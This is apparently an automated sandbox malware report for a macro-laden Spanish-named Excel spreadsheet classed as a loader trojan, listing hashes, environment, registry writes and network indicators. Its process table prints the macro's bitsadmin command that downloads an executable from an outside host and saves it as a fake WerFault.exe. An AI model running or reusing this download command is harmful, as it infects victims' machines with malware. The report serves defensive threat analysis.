Malware analysis modelo_de_planilla_de_informacion_anual.xlsm Malicious activity

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File name:	modelo_de_planilla_de_informacion_anual.xlsm
Full analysis:	https://app.any.run/tasks/2637caab-cf9c-46ad-ae45-acd54862c738
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	December 06, 2018, 02:41:16
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open loader trojan
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:	Microsoft Excel 2007+
MD5:	55243C7D1451B465EFDA857B2F997075
SHA1:	6E7EF33319A8EA87045826AD8C1C350C301BDC4A
SHA256:	170B00EB621A57BB3F3262EB1FB67E7F8E972FDC45D3CE58F9D82B8F348759CC
SSDEEP:	768:taPdlMFX/FHUo8xTKKi6qhEKSrkSu+zJgsb19nQFX4aqnRB0pgI:YPdxP/iAFQSPgw9nQFX2WpgI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2948)
- Uses BITADMIN.EXE for downloading application
  - EXCEL.EXE (PID: 2948)
SUSPICIOUS
No suspicious indicators.
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2948)
- Creates files in the user directory
  - EXCEL.EXE (PID: 2948)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xlam	\|	Excel Macro-enabled Open XML add-in (42.4)
.xlsm	\|	Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx	\|	Excel Microsoft Office Open XML Format document (17.3)
.zip	\|	Open Packaging Conventions container (8.9)
.zip	\|	ZIP compressed archive (2)

EXIF

XML

AppVersion:	15.03
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
Company:	-
TitlesOfParts:	Sheet1
HeadingPairs:	Hojas de cálculo 1
ScaleCrop:	No
DocSecurity:	None
Application:	Microsoft Excel
ModifyDate:	2018:12:06 02:41:01Z
CreateDate:	2006:09:16 00:00:00Z
LastModifiedBy:	-

XMP

Creator:	-

ZIP

ZipFileName:	[Content_Types].xml
ZipUncompressedSize:	1393
ZipCompressedSize:	413
ZipCRC:	0xe69d70d7
ZipModifyDate:	1980:01:01 00:00:00
ZipCompression:	Deflated
ZipBitFlag:	0x0006
ZipRequiredVersion:	20

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2948	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000
3636	"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal http://rgho.st/download/86tsdMFrb/3505a65f6da5a5e26a086cf4a0004f9c0bfdd1b9/3505a65f6da5a5e26a086cf4a0004f9c0bfdd1b9/1.exe C:\Users\admin\AppData\Local\Temp\\WerFault.exe	C:\Windows\System32\bitsadmin.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 2149122453 Version: 7.5.7600.16385 (win7_rtm.090713-1255)

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Total events

650

Read events

555

Write events

Delete events

Modification events


(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	e7%
Value: 65372500840B0000010000000000000000000000
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 840B0000F00C07360D8DD40100000000
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	e7%
Value: 65372500840B0000010000000000000000000000
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2948) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\1996A9
Operation:	write	Name:	1996A9
Value: 04000000840B00004E00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C006D006F00640065006C006F005F00640065005F0070006C0061006E0069006C006C0061005F00640065005F0069006E0066006F0072006D006100630069006F006E005F0061006E00750061006C002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000C0F4AC370D8DD401A9961900A996190000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2948	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR8F55.tmp.cvr		—
		MD5:—	SHA256:—
2948	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:E2D4EDC9D749EC33AE0E9CBEA46881A8	SHA256:382A01202C0C74FAD69C47319DC2C1B26EB159B9EABF87ABECDAB7ADBBFA2DAC

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	HEAD	405	104.27.181.254:80	http://rgho.st/download/86tsdMFrb/3505a65f6da5a5e26a086cf4a0004f9c0bfdd1b9/3505a65f6da5a5e26a086cf4a0004f9c0bfdd1b9/1.exe	US	—	—	shared

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	104.27.181.254:80	rgho.st	Cloudflare Inc	US	shared

DNS requests

Domain	IP	Reputation
rgho.st	104.27.181.254 104.27.180.254	shared

Threats

PID	Process	Class	Message
—	—	A Network Trojan was detected	ET TROJAN Single char EXE direct download likely trojan (multiple families)

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No debug info

General Info

modelo_de_planilla_de_informacion_anual.xlsm

55243C7D1451B465EFDA857B2F997075

6E7EF33319A8EA87045826AD8C1C350C301BDC4A

170B00EB621A57BB3F3262EB1FB67E7F8E972FDC45D3CE58F9D82B8F348759CC

768:taPdlMFX/FHUo8xTKKi6qhEKSrkSu+zJgsb19nQFX4aqnRB0pgI:YPdxP/iAFQSPgw9nQFX2WpgI

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Uses BITADMIN.EXE for downloading application

SUSPICIOUS

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

XML

XMP

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings